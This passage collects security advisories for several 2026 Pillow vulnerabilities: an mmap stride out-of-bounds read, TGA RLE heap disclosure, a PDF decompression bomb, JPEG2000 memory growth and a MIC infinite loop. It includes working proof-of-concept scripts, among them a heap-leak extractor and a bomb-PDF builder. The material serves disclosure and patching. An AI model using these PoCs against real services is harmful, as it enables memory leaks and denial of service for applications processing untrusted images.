<summary>More information</summary> #### Details ##### Summary When Pillow loads an uncompressed image whose tile uses the `raw` codec and a mode in `Image._MAPMODES`, and the image was opened **from a filename**, it memory-maps the file and builds the image's row pointers directly into the mapping via `PyImaging_MapBuffer` (`src/map.c`). The per-row spacing (`stride`) is taken from the tile arguments. `map.c` validates `offset + ysize*stride <= buffer_len` but **never checks that `stride` is at least the natural row width `xsize * pixelsize`**. The **McIdas** AREA plugin (`McIdasImagePlugin.py`) derives `stride`, `offset`, `xsize`, and `ysize` directly from attacker-controlled 32-bit header words with no validation. By supplying a `stride` far smaller than the row width, an attacker makes each row pointer read `xsize*pixelsize` bytes that run past the mapped region. Accessing the pixels (e.g. `Image.tobytes()`, `getpixel`, `convert`, `save`) then reads adjacent process memory (information disclosure) or faults (SIGBUS, denial of service). ##### Complete Code Trace **Step 1: `McIdasImageFile._open`** - turns attacker header words into image size, file offset, and row stride with no validation. ```python ##### src/PIL/McIdasImagePlugin.py:41-70 s = self.fp.read(256) if not _accept(s) or len(s) != 256: # _accept: prefix == b"\x00\x00\x00\x00\x00\x00\x00\x04" raise SyntaxError(...) self.area_descriptor = w = [0, *struct.unpack("!64i", s)] # w[1..64] = signed BE int32, ALL attacker-controlled if w[11] == 1: mode = rawmode = "L" # pixelsize 1, in _MAPMODES elif w[11] == 2: mode = rawmode = "I;16B" # pixelsize 2, in _MAPMODES ... self._mode = mode self._size = w[10], w[9] # (xsize, ysize) <-- attacker offset = w[34] + w[15] # <-- attacker stride = w[15] + w[10] * w[11] * w[14] # <-- attacker (set w[14]=0, w[15]=1 => stride=1) self.tile = [ ImageFile._Tile("raw", (0, 0) + self.size, offset, (rawmode, stride, 1)) ] ``` **Step 2: `ImageFile.load` (mmap branch)** - selects mmap and delegates to `map_buffer`. ```python ##### src/PIL/ImageFile.py:322-348 if use_mmap: # use_mmap = self.filename and len(self.tile) == 1 decoder_name, extents, offset, args = self.tile[0] if (decoder_name == "raw" and isinstance(args, tuple) and len(args) >= 3 and args[0] == self.mode and args[0] in Image._MAPMODES): if offset < 0: # only lower-bound guard on offset raise ValueError("Tile offset cannot be negative") with open(self.filename) as fp: self.map = mmap.mmap(fp.fileno(), 0, access=mmap.ACCESS_READ) if offset + self.size[1] * args[1] > self.map.size(): # == offset + ysize*stride; NO stride>=linesize check raise OSError("buffer is not large enough") self.im = Image.core.map_buffer( self.map, self.size, decoder_name, offset, args # args = ("L", stride, 1) ) ``` **Step 3: `PyImaging_MapBuffer`** - builds row pointers at `stride` spacing into the mmap; validates everything except `stride >= row width`. ```c /* src/map.c:65-140 */ if (!PyArg_ParseTuple(args, "O(ii)sn(sii)", &target, &xsize, &ysize, &codec, &offset, &mode_name, &stride, &ystep)) return NULL; ... const ModeID mode = findModeID(mode_name); /* "L" */ if (stride <= 0) { /* attacker sets stride=1 (>0) -> NOT recomputed */ if (mode == IMAGING_MODE_L || mode == IMAGING_MODE_P) stride = xsize; else if (isModeI16(mode)) stride = xsize * 2; else stride = xsize * 4; } if (stride > 0 && ysize > PY_SSIZE_T_MAX / stride) {/* overflow guard only */ PyErr_SetString(PyExc_MemoryError, "Integer overflow in ysize"); return NULL; } size = (Py_ssize_t)ysize * stride; /* = 1*1 = 1 */ if (offset > PY_SSIZE_T_MAX - size) { ... } ... if (offset + size > view.len) { /* 1 + 1 = 2 <= 256 -> PASSES */ PyErr_SetString(PyExc_ValueError, "buffer is not large enough"); PyBuffer_Release(&view); return NULL; } im = ImagingNewPrologueSubtype(mode, xsize, ysize, sizeof(ImagingBufferInstance)); /* im->linesize = xsize * pixelsize = 200000 (the REAL per-row read width) */ /* setup file pointers -- NO check that stride >= im->linesize */ if (ystep > 0) { for (y = 0; y < ysize; y++) { im->image[y] = (char *)view.buf + offset + y * stride; /* row points into mmap, spacing=1 */ } } else { ... } ``` `im->linesize` (the number of bytes any consumer reads per row) is `xsize * pixelsize = 200000`, but the row pointers are only `stride = 1` byte apart and the buffer is only `offset + ysize*stride = 2` bytes "claimed". Nothing reconciles the two. **Step 4: pixel access (`Image.tobytes()` → raw encoder `copy1`)** - reads `linesize` bytes from `im->image[0]`, i.e. `xsize` bytes starting at `view.buf + offset`, running far past the mmap. ```c /* the raw "L" packer copies linesize (=xsize) bytes per row from im->image[y]; for row 0 that is view.buf+1 .. view.buf+1+200000, vs a 256-byte file. */ ``` ##### Chain Summary ``` SOURCE: McIdas AREA header words w[9],w[10],w[11],w[14],w[15],w[34] (Image.open on a path) ↓ McIdasImagePlugin._open: stride = w[15]+w[10]*w[11]*w[14] -> attacker sets stride=1 [McIdasImagePlugin.py:66] ↓ tile = ("raw", (0,0,xsize,1), offset, ("L", 1, 1)) [McIdasImagePlugin.py:68] GADGET: ImageFile.load mmap branch -- only checks offset+ysize*stride<=len <- BUG: no stride>=linesize check [ImageFile.py:343] ↓ core.map_buffer(map, (xsize,1), "raw", offset, ("L",1,1)) [ImageFile.py:346] SINK: PyImaging_MapBuffer: im->image[0] = view.buf + offset + 0*stride; linesize=xsize [map.c:134] ↓ Image.tobytes() raw "L" encoder reads linesize (=xsize) bytes from im->image[0] IMPACT: reads xsize bytes from a tiny mmap -> OOB read of adjacent process memory (leak) or SIGBUS (DoS) ``` ##### Proof of Concept See attached [poc.zip](https://github.com/user-attachments/files/28460498/poc.zip) ##### Impact on a Parent Application Any application that opens image files supplied by users **from a path on disk** (the common pattern: save upload to a temp file, then `Image.open(path)`), has the default plugin set (McIdas is registered by default), and subsequently reads/returns/re-encodes the decoded pixels (thumbnailing, format conversion, serving a preview), is exposed: - **Information disclosure (High):** the decoded "image" contains bytes of the worker process's adjacent heap/mapped memory, which the app then serves or stores - potentially leaking secrets, credentials, or other users' data. - **Denial of service (High):** a larger `xsize` reliably crashes the worker with SIGBUS. ##### Suggested fix Core fix in `src/map.c` (`PyImaging_MapBuffer`): reject `offset < 0` and `stride < im->linesize`. Defense-in-depth in `McIdasImagePlugin._open`: reject `offset < 0` or `stride < xsize*pixelsize` . #### Severity - CVSS Score: 8.3 / 10 (High) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N` #### References - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-62p4-gmf7-7g93](https://github.com/python-pillow/Pillow/security/advisories/GHSA-62p4-gmf7-7g93) - [https://nvd.nist.gov/vuln/detail/CVE-2026-54058](https://nvd.nist.gov/vuln/detail/CVE-2026-54058) - [https://github.com/python-pillow/Pillow/pull/9719](https://github.com/python-pillow/Pillow/pull/9719) - [https://github.com/python-pillow/Pillow/commit/6a8de891fb00968e5ea79bfa84368ed90b3cfc1d](https://github.com/python-pillow/Pillow/commit/6a8de891fb00968e5ea79bfa84368ed90b3cfc1d) - [https://github.com/python-pillow/Pillow](https://github.com/python-pillow/Pillow) - [https://github.com/python-pillow/Pillow/releases/tag/12.3.0](https://github.com/python-pillow/Pillow/releases/tag/12.3.0) - [https://pypi.org/project/pillow](https://pypi.org/project/pillow) - [https://github.com/advisories/GHSA-62p4-gmf7-7g93](https://github.com/advisories/GHSA-62p4-gmf7-7g93) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-3493) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### Pillow TGA RLE encoder can serialize up to ~57 KB of adjacent heap data into generated images BIT-pillow-2026-59198 / [CVE-2026-59198](https://nvd.nist.gov/vuln/detail/CVE-2026-59198) / [GHSA-fj7v-r99m-22gq](https://github.com/advisories/GHSA-fj7v-r99m-22gq) / PYSEC-2026-3494 <details> <summary>More information</summary> #### Details ##### Summary Pillow's TGA RLE encoder reads past its row buffer when saving a mode `"1"` image. Adjacent process heap bytes can be copied into the generated TGA file. The bug is reachable through the public save API: ```python im.save(out, format="TGA", compression="tga_rle") ``` Older affected Pillow versions use the equivalent public option `rle=True`. For mode `"1"`, Pillow allocates a packed row buffer of `ceil(width / 8)` bytes, but `ImagingTgaRleEncode()` treats the row as one full byte per pixel. The maximum valid TGA width is `65535`. At that width: ```text allocated packed row buffer: 8192 bytes encoder byte-offset walk: 65535 bytes maximum OOB window per row: 57343 bytes ``` On non-ASAN Pillow `12.2.0`, the public-only maximum-width PoC below serialized `57297` bytes from distinct out-of-bounds source offsets into one returned TGA, covering `99.92%` of the maximum adjacent heap window. No heap grooming, ctypes, private API, or malformed input file was used. The disclosure is emitted across many TGA packet payload copies of at most `128` bytes each, not one large `memcpy()`. ##### Details `src/PIL/TgaImagePlugin.py` allows mode `"1"` TGA output and selects the `tga_rle` encoder when RLE compression is requested. `src/encode.c:_setimage()` allocates the row buffer using the packed-bit formula: ```c state->bytes = (state->bits * state->xsize + 7) / 8; state->buffer = (UINT8 *)calloc(1, state->bytes); ``` For mode `"1"`, `state->bits == 1`. `src/libImaging/TgaRleEncode.c` then computes: ```c bytesPerPixel = (state->bits + 7) / 8; ``` This becomes `1`, and the encoder uses pixel indexes as byte offsets: ```c static int comparePixels(const UINT8 *buf, int x, int bytesPerPixel) { buf += x * bytesPerPixel; return memcmp(buf, buf + bytesPerPixel, bytesPerPixel) == 0; } ``` The packet payload `memcpy()` later copies those out-of-bounds source bytes into the output. Raw packets copy up to `128` contiguous bytes, while RLE packets copy one representative byte: ```c memcpy( dst, state->buffer + (state->x * bytesPerPixel - state->count), flushCount ); ``` A width-2 mode `"1"` image allocates one row byte and already triggers an ASAN heap-buffer-overflow read. Wider images increase the adjacent heap window and the amount of heap data that can be serialized. ##### PoC ##### Minimal ASAN trigger ```python import io from PIL import Image out = io.BytesIO() Image.new("1", (2, 1)).save(out, format="TGA", compression="tga_rle") ``` Observed on local Pillow `12.3.0.dev0` ASAN target: ```text ERROR: AddressSanitizer: heap-buffer-overflow READ of size 1 comparePixels /out/src/src/libImaging/TgaRleEncode.c:10 ImagingTgaRleEncode /out/src/src/libImaging/TgaRleEncode.c:81 0 bytes after a 1-byte allocation from _setimage ``` ##### Maximum-width heap disclosure This PoC uses one maximum-width row. It parses the generated TGA packets and extracts only payload bytes whose source offsets were outside the allocated packed row. Rows are avoided because they mostly repeat the same adjacent heap window. Run the following with a standard affected Pillow installation. ```python import hashlib import io import PIL from PIL import Image WIDTH = 65535 ATTEMPTS = 20 ROW_BYTES = (WIDTH + 7) // 8 MAX_OOB_WINDOW = WIDTH - ROW_BYTES def extract_oob_payload(data): i = 18 pixel = 0 oob = bytearray() while pixel < WIDTH: descriptor = data[i] i += 1 count = (descriptor & 0x7F) + 1 if descriptor & 0x80: value = data[i] i += 1 if pixel + count - 1 >= ROW_BYTES: oob.append(value) else: values = data[i : i + count] i += count oob.extend(values[max(ROW_BYTES - pixel, 0) :]) pixel += count return bytes(oob) best = b"" for _ in range(ATTEMPTS): out = io.BytesIO() Image.new("1", (WIDTH, 1), 0).save(out, format="TGA", compression="tga_rle") oob = extract_oob_payload(out.getvalue()) if len(oob) > len(best): best = oob with open("/tmp/max_oob_bytes.bin", "wb") as fp: fp.write(best) print(f"Pillow={PIL.__version__}") print(f"packed_row_bytes={ROW_BYTES}") print(f"maximum_oob_window={MAX_OOB_WINDOW}") print(f"serialized_distinct_oob_offsets={len(best)}") print(f"nonzero_oob_bytes={sum(byte != 0 for byte in best)}") print(f"coverage={len(best) / MAX_OOB_WINDOW:.2%}") print(f"sha256={hashlib.sha256(best).hexdigest()}") ``` Observed on installed Pillow `12.2.0`: ```text Pillow=12.2.0 packed_row_bytes=8192 maximum_oob_window=57343 serialized_distinct_oob_offsets=57297 nonzero_oob_bytes=54407 coverage=99.92% ``` ##### Impact This is a heap out-of-bounds read and potential information disclosure. A maximum-width single-row image can cause nearly the full `57343`-byte adjacent heap window to be incorporated into one output file. #### Severity - CVSS Score: 6.5 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:L` #### References - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-fj7v-r99m-22gq](https://github.com/python-pillow/Pillow/security/advisories/GHSA-fj7v-r99m-22gq) - [https://nvd.nist.gov/vuln/detail/CVE-2026-59198](https://nvd.nist.gov/vuln/detail/CVE-2026-59198) - [https://github.com/python-pillow/Pillow/pull/9709](https://github.com/python-pillow/Pillow/pull/9709) - [https://github.com/python-pillow/Pillow/commit/eada3cbd7fb9963ee90673fb7b5270124a0d5f4b](https://github.com/python-pillow/Pillow/commit/eada3cbd7fb9963ee90673fb7b5270124a0d5f4b) - [https://github.com/python-pillow/Pillow](https://github.com/python-pillow/Pillow) - [https://github.com/python-pillow/Pillow/releases/tag/12.3.0](https://github.com/python-pillow/Pillow/releases/tag/12.3.0) - [https://pypi.org/project/pillow](https://pypi.org/project/pillow) - [https://github.com/advisories/GHSA-fj7v-r99m-22gq](https://github.com/advisories/GHSA-fj7v-r99m-22gq) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-3494) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### Pillow: Decompression Bomb DoS via PdfParser.PdfStream.decode() BIT-pillow-2026-59200 / [CVE-2026-59200](https://nvd.nist.gov/vuln/detail/CVE-2026-59200) / [GHSA-jjj6-mw9f-p565](https://github.com/advisories/GHSA-jjj6-mw9f-p565) / PYSEC-2026-3495 <details> <summary>More information</summary> #### Details ##### Summary `PdfParser.PdfStream.decode()` in Pillow's `PdfParser.py` calls `zlib.decompress()` with the `bufsize` parameter set to the value of the PDF stream's `Length` field, without any upper bound on the actual decompressed output size. Python's `zlib.decompress()` `bufsize` argument is an *initial output buffer hint*, not a maximum size limit — the function will expand memory until the full decompressed result is produced. A crafted PDF containing a FlateDecode-compressed stream decompresses to 1 GB of memory from a ~950 KB file, causing server OOM termination or severe degradation in any application that uses `PdfParser` to read untrusted PDF files. ##### Details `PdfStream.decode()` in `pdfminer/PdfParser.py` reads the stream's declared `Length` (or `DL`) field from the PDF dictionary and passes it as `bufsize` to `zlib.decompress()`: ```python ##### PIL/PdfParser.py — PdfStream.decode() class PdfStream: def decode(self) -> bytes: try: filter = self.dictionary[b"Filter"] except KeyError: return self.buf if filter == b"FlateDecode": try: expected_length = self.dictionary[b"DL"] except KeyError: expected_length = self.dictionary[b"Length"] return zlib.decompress(self.buf, bufsize=int(expected_length)) # ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ # bufsize is an *initial buffer hint*, NOT a maximum size limit. # zlib.decompress() allocates as much memory as needed regardless. ``` From the Python documentation: *"The `bufsize` parameter is used as the initial size of the output buffer."* It does not cap decompression. An attacker who controls the PDF stream contents can provide a highly-compressed payload that expands to gigabytes, while setting `Length` to any value (including the actual compressed size) to avoid triggering format validation. `PdfParser` is instantiated with a filename or file object and calls `read_pdf_info()` on open, which parses the xref table and makes stream objects accessible. `PdfStream.decode()` is reachable whenever calling code accesses a compressed stream object from the parsed PDF. **Confirmed reachable path:** ```python with PdfParser.PdfParser("evil.pdf") as pdf: stream_obj, _ = pdf.get_value(pdf.buf, stream_offset) data = stream_obj.decode() # ← OOM here ``` ##### PoC ```python import zlib, tempfile, os, time from PIL import PdfParser ##### Build a minimal PDF with a 100 MB FlateDecode bomb (demo scale) EXPAND_MB = 100 raw = b'\x00' * (EXPAND_MB * 1_000_000) compressed = zlib.compress(raw, level=9) # ~97 KB buf = b'%PDF-1.4\n' o1 = len(buf); buf += b'1 0 obj\n<< /Type /Pages /Kids [] /Count 0 >>\nendobj\n' o2 = len(buf); buf += b'2 0 obj\n<< /Type /Catalog /Pages 1 0 R >>\nendobj\n' o3 = len(buf) hdr = f'<< /Filter /FlateDecode /Length {len(compressed)} >>'.encode() buf += b'3 0 obj\n' + hdr + b'\nstream\n' + compressed + b'\nendstream\nendobj\n' xref = len(buf) buf += b'xref\n0 4\n0000000000 65535 f \n' for off in [o1, o2, o3]: buf += f'{off:010d} 00000 n \n'.encode() buf += b'trailer\n<< /Size 4 /Root 2 0 R >>\nstartxref\n' + str(xref).encode() + b'\n%%EOF\n' print(f"PDF size: {len(buf):,} bytes ({len(buf)/1024:.1f} KB)") with tempfile.NamedTemporaryFile(delete=False, suffix='.pdf') as f: f.write(buf); tmpname = f.name with PdfParser.PdfParser(tmpname) as pdf: obj, _ = pdf.get_value(pdf.buf, o3) t = time.time() decoded = obj.decode() print(f"Decoded: {len(decoded):,} bytes in {time.time()-t:.3f}s") os.unlink(tmpname) ``` **Actual output (Pillow 12.1.1, Python 3.12):** ``` PDF size: 97,538 bytes (95.3 KB) Decoded: 100,000,000 bytes in 0.265s ``` **Measured expansion:** | PDF file size | Memory allocated | Ratio | Wall time | |---|---|---|---| | 10 KB | 10 MB | 1,026× | 0.024 s | | 95 KB | 100 MB | 1,028× | 0.265 s | | 475 KB | 500 MB | 1,028× | 1.279 s | | 950 KB | 1,000 MB (1 GB) | 1,028× | 2.668 s | ##### Impact This is a denial-of-service vulnerability. Any application that uses `PIL.PdfParser.PdfParser` to read untrusted PDF files is affected. An unauthenticated attacker who can submit a PDF for processing can exhaust all available server memory with a ~950 KB file, causing OOM termination or service degradation affecting all concurrent users. No authentication or user interaction beyond submitting the file is required. **Note:** This vulnerability is independent of CVE-2025-64512 / CVE-2025-70559 (pdfminer.six) and the companion `PIL/PdfImagePlugin.py` decompression issue. It exists specifically in Pillow's own `PdfParser.py` module, which is distinct from pdfminer.six. **Suggested fix:** ```python MAX_DECOMPRESS_BYTES = 200 * 1024 * 1024 # 200 MB cap def decode(self) -> bytes: ... if filter == b"FlateDecode": ... result = zlib.decompress(self.buf, bufsize=int(expected_length)) if len(result) > MAX_DECOMPRESS_BYTES: msg = "Decompressed stream exceeds maximum allowed size" raise ValueError(msg) return result ``` #### Severity - CVSS Score: 7.5 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` #### References - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-jjj6-mw9f-p565](https://github.com/python-pillow/Pillow/security/advisories/GHSA-jjj6-mw9f-p565) - [https://nvd.nist.gov/vuln/detail/CVE-2026-59200](https://nvd.nist.gov/vuln/detail/CVE-2026-59200) - [https://github.com/python-pillow/Pillow/pull/9718](https://github.com/python-pillow/Pillow/pull/9718) - [https://github.com/python-pillow/Pillow/commit/f7a31ea75e460e108c37126da1f47812f21f6b09](https://github.com/python-pillow/Pillow/commit/f7a31ea75e460e108c37126da1f47812f21f6b09) - [https://github.com/python-pillow/Pillow](https://github.com/python-pillow/Pillow) - [https://github.com/python-pillow/Pillow/releases/tag/12.3.0](https://github.com/python-pillow/Pillow/releases/tag/12.3.0) - [https://pypi.org/project/pillow](https://pypi.org/project/pillow) - [https://github.com/advisories/GHSA-jjj6-mw9f-p565](https://github.com/advisories/GHSA-jjj6-mw9f-p565) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-3495) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### Pillow JPEG2000 tiled decode retains a growing scratch buffer and can be used for denial of service BIT-pillow-2026-59204 / [CVE-2026-59204](https://nvd.nist.gov/vuln/detail/CVE-2026-59204) / [GHSA-vjc4-5qp5-m44j](https://github.com/advisories/GHSA-vjc4-5qp5-m44j) / PYSEC-2026-3496 <details> <summary>More information</summary> #### Details ##### Summary `src/libImaging/Jpeg2KDecode.c:853` accumulates `total_component_width` across every tile in a JPEG2000 image instead of recomputing it per tile. That accumulated value is then used in the `tile_bytes` calculation at `src/libImaging/Jpeg2KDecode.c:868`, which can make the decoder grow `state->buffer` via `realloc` at `src/libImaging/Jpeg2KDecode.c:876` up to roughly one full image's decompressed size even when each tile is small. A crafted tiled JPEG2000 file can therefore force substantially higher transient memory usage and trigger out-of-memory failures during decoding. Based on current evidence, the supported impact is denial of service, not memory corruption. ##### Details - Location: `src/libImaging/Jpeg2KDecode.c:853` - Root cause: `total_component_width` is initialized only once before the tile loop and keeps growing across tiles. It is then used to derive `tile_bytes`, so later tiles are treated as if they had the combined component width of all earlier tiles. - Dangerous operation: `tile_bytes` is promoted into `tile_info.data_size`, then `state->buffer` is grown with `realloc` at `src/libImaging/Jpeg2KDecode.c:876`. - Reachability: any attacker-controlled JPEG2000 image with many tiles reaches this path during normal `Image.open(...).load()` decoding. ##### PoC The attached helper script and testcase were used: [exercise_j2k_tile_realloc.zip](https://github.com/user-attachments/files/28099912/exercise_j2k_tile_realloc.zip) Generate the testcase: ```bash pythonexercise_j2k_tile_realloc.py make poc_3664_rgba_tile1832.jp2 \ --size 3664 --tile 1832 ``` Expected geometry from the helper: - image size: `3664 x 3664` - mode: `RGBA` - tile size: `1832 x 1832` (`2x2` tiles) - `image_bytes=53699584` - uncapped RSS observed: - vulnerable build: `maxrss_kb=180264` - fixed comparison build: `maxrss_kb=138404` Load it with the current vulnerable build: ```bash python exercise_j2k_tile_realloc.py load poc_3664_rgba_tile1832.jp2 ``` Load it again under a 160 MB address-space cap: ```bash python exercise_j2k_tile_realloc.py load poc_3664_rgba_tile1832.jp2 --limit-mb 160 ``` ##### Impact Conservative impact: denial of service through memory exhaustion during JPEG2000 decoding. #### Severity - CVSS Score: 8.7 / 10 (High) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N` #### References - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-vjc4-5qp5-m44j](https://github.com/python-pillow/Pillow/security/advisories/GHSA-vjc4-5qp5-m44j) - [https://nvd.nist.gov/vuln/detail/CVE-2026-59204](https://nvd.nist.gov/vuln/detail/CVE-2026-59204) - [https://github.com/python-pillow/Pillow/pull/9704](https://github.com/python-pillow/Pillow/pull/9704) - [https://github.com/python-pillow/Pillow/commit/13ada41172142f2fd9f0906f615a00ea623a11ca](https://github.com/python-pillow/Pillow/commit/13ada41172142f2fd9f0906f615a00ea623a11ca) - [https://github.com/python-pillow/Pillow](https://github.com/python-pillow/Pillow) - [https://github.com/python-pillow/Pillow/releases/tag/12.3.0](https://github.com/python-pillow/Pillow/releases/tag/12.3.0) - [https://pypi.org/project/pillow](https://pypi.org/project/pillow) - [https://github.com/advisories/GHSA-vjc4-5qp5-m44j](https://github.com/advisories/GHSA-vjc4-5qp5-m44j) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-3496) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### Pillow: Infinite loop in MIC n_frames when the embedded TIFF BIT-pillow-2026-112390 / [CVE-2026-112390](https://nvd.nist.gov/vuln/detail/CVE-2026-112390) / [GHSA-22hg-r758-rrw9](https://github.com/advisories/GHSA-22hg-r758-rrw9) <details> <summary>More information</summary> #### Details ``` ============================================================================ Infinite loop in MIC n_frames when the embedded TIFF has 3+ IFDs Location: src/PIL/MicImagePlugin.py:86 in MicImageFile.tell() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================ ``` A crafted 5.6 KB image file makes Pillow loop forever at 100% CPU when an application asks how many frames the image has. This only affects installations that have the optional `olefile` package. Any application that opens an untrusted image and then reads `im.n_frames` can have one worker tied up indefinitely. That includes the common "is this image animated?" check and re-saving with `save_all=True` to TIFF, PDF or WebP. The call never returns, raises no exception, and does not grow memory, so only an external watchdog stops it. The file is a Microsoft Image Composer (MIC) container, which Pillow recognises by its magic bytes with no extension needed. Inside it is a TIFF stream with three chained image directories. `MicImageFile` subclasses `TiffImageFile` and overrides `seek()` and `tell()` so that a "frame" means one stream in the container. It still inherits `TiffImageFile.n_frames` (`src/PIL/TiffImagePlugin.py:1212`), which walks the embedded TIFF's directory chain with `self._seek(self.tell() + 1)` until `_n_frames` is set. Two things stop that walk from making progress: - `MicImageFile.tell()` (`src/PIL/MicImagePlugin.py:86`) returns the constant stream index. - `MicImageFile.seek()` calls `TiffImageFile._open()`, which resets `_n_frames` to `None`. As a result, the loop re-parses the second directory forever whenever the embedded stream has three or more directories. `Image.open()`, `load()`, `thumbnail()`, `convert()`, `is_animated` and `ImageSequence` iteration do not hang on this file. The regression was introduced in 0b33a87b0d15 (April 2020, first released in 7.2.0), which removed `MicImageFile`'s own `n_frames` property. The attached reproducer builds the file in code and checks two controls, which return 3 and 1 frames as expected; the malicious file is still running when it is killed after 20 seconds. ##### Details `MicImageFile` (registered for `Image.open` whenever `olefile` is installed) subclasses `TiffImageFile` and redefines a "frame" as one OLE `*.ACI/Image` stream, overriding `seek()` and `tell()` accordingly. It does not override the `n_frames` property, so the inherited TIFF implementation runs, and that implementation relies on `tell()` advancing as IFDs are loaded. `MicImageFile.tell()` returns the OLE stream index, which never changes inside `n_frames`, so the loop re-parses the same IFD forever. A 5632-byte OLE2 compound file whose `img0.ACI/Image` stream is a 351-byte TIFF with three chained 1×1 IFDs is enough. `Image.open()` on it succeeds (format `MIC`, detected by the OLE magic, no extension needed); evaluating `im.n_frames` then never returns and keeps one core at 100 %. A Python stack taken 27 s in is ``` File "src/PIL/TiffImagePlugin.py", line 1622 in _setup File "src/PIL/TiffImagePlugin.py", line 1271 in _seek File "src/PIL/TiffImagePlugin.py", line 1219 in n_frames ``` and instrumenting `_seek` shows it being called with `frame=1`, `tell()==0`, `_frame_pos==[8, 122]`, `_n_frames is None` on every iteration — identical state, so the loop is non-terminating, not merely slow. The same 351 TIFF bytes opened directly give `n_frames == 3` in milliseconds, and the same container around a 1-IFD TIFF gives `n_frames == 1`. The loop, `src/PIL/TiffImagePlugin.py:1212`: ```python @property def n_frames(self) -> int: current_n_frames = self._n_frames if current_n_frames is None: current = self.tell() self._seek(len(self._frame_pos)) while self._n_frames is None: self._seek(self.tell() + 1) # 1219 self.seek(current) ``` and the overrides that break its progress assumption, `src/PIL/MicImagePlugin.py:76`: ```python def seek(self, frame: int) -> None: … self.fp = self.ole.openstream(filename) TiffImagePlugin.TiffImageFile._open(self) # 82: resets _n_frames to None self.frame = frame def tell(self) -> int: return self.frame # 87: OLE stream index, not TIFF __frame ``` For a plain TIFF, `_seek(k)` (`TiffImagePlugin.py:1236`) loads IFDs up to `k`, appending each offset to `_frame_pos`, setting `_n_frames` when an IFD's next-pointer is 0 (or already seen), and setting the private `__frame = k`; `TiffImageFile.tell()` returns `__frame`, so `self.tell() + 1` walks the chain to its end. For a MIC file, `Image.open` → `MicImageFile._open` sets `self._n_frames = len(self.images)` at line 69, but then calls `self.seek(0)` → `TiffImageFile._open` (line 82), which unconditionally sets `self._n_frames = None` (`TiffImagePlugin.py:1203`) and `_seek(0)`s into the embedded stream. With the 3-IFD stream, IFD 0 has a non-zero next pointer, so `_n_frames` stays `None` after open. `n_frames` then runs: `current = self.tell()` is `0` (the OLE index); `_seek(len(_frame_pos))` = `_seek(1)` loads IFD 1, whose next pointer is also non-zero and not yet in `_frame_pos`, so `_n_frames` is still `None`. The `while` body computes `self.tell() + 1` = `0 + 1` and calls `_seek(1)` again; `len(_frame_pos)` is already 2, so nothing new is loaded — IFD 1 is re-read via `tag_v2.load` and `_setup()` and the state is unchanged. This repeats indefinitely; IFD 2 is never reached. Two chained IFDs are not enough (IFD 1's next pointer of 0 sets `_n_frames = 2` on the first `_seek(1)`); three or more are. `Tests/test_file_mic.py::test_n_frames` passes only because `hopper.mic`'s stream has a single IFD, so `_seek(0)` sets `_n_frames = 1` and the loop is never entered; the `len(self.images)` assignment at line 69 is only consumed by the initial `_seek_check(0)` and is overwritten before any caller can read `n_frames`. A side effect of the same mismatch: with a 2-IFD stream `n_frames` returns 2 (TIFF IFDs) while `seek(1)` indexes `self.images[1]` (OLE streams) and raises `IndexError` — visible with `save_all=True`. ##### Impact Any application that lets Pillow open an uploaded file and then reads `im.n_frames` — the usual way to decide whether an image is animated (`getattr(im, "n_frames", 1) > 1`), and also what `hasattr(im, "n_frames")`/`getattr(im, "n_frames", 1)` in Pillow's own `TiffImagePlugin._save_all` (`:2333`), `PdfImagePlugin._save` (`:250`) and `WebPImagePlugin._save_all` (`:171`) evaluate when the app re-saves with `save_all=True` — can be made to spin one worker at 100 % CPU indefinitely with a 5.6 KB upload. The file needs no particular extension (OLE magic; `FpxImagePlugin` rejects it on CLSID and `MicImagePlugin` accepts it), default limits do not intervene, memory does not grow, and no exception is raised, so only an external watchdog ends it. Preconditions: `olefile` installed (it is an optional dependency; without it the MIC plugin is not registered) and the application touching `n_frames` or a `save_all` path. `Image.open()` itself, `load()`, `thumbnail()`, `convert()`, `is_animated` and `ImageSequence` iteration do not hang on this file. This is the same class of tiny-file, pure-Python non-termination as CVE-2021-28676 (FLI) and CVE-2021-28677 (EPS), and like CVE-2019-19911 (FPX) it depends on `olefile`; it differs in not being reached by the default open/load path. The regression was introduced in `0b33a87b0d15` ("Replaced property methods for n_frames and is_animated with normal properties", 2020-04-13), first released in 7.2.0, which replaced `MicImageFile`'s own `n_frames` property with the `_n_frames` attribute that `TiffImageFile._open` overwrites. ##### Reproducing `repro` is a single Python script that runs against the installed Pillow (with `olefile`, which is what registers the MIC plugin). It builds every input in code, writes each one to a temporary file named `x` with no extension (so Pillow identifies the format from its magic bytes), and opens it in a child Python process that runs `Image.open(path)` and prints `im.format` and `im.n_frames`. It builds two things in code: - `tiff(n)`: an `n`-page TIFF of 4×4 greyscale frames written by Pillow itself (`save_all=True`), so the IFDs are chained exactly as Pillow's own writer chains them. The last next-IFD pointer is 0. - `mic(stream)`: a minimal OLE2 compound file with a storage named `img0.ACI` that contains a stream named `Image`, which is the layout `MicImageFile._open` looks for. Sector 0 is the FAT and sector 1 is the directory. The stream starts at sector 2 and is padded to 4096 bytes, so the file doesn't need 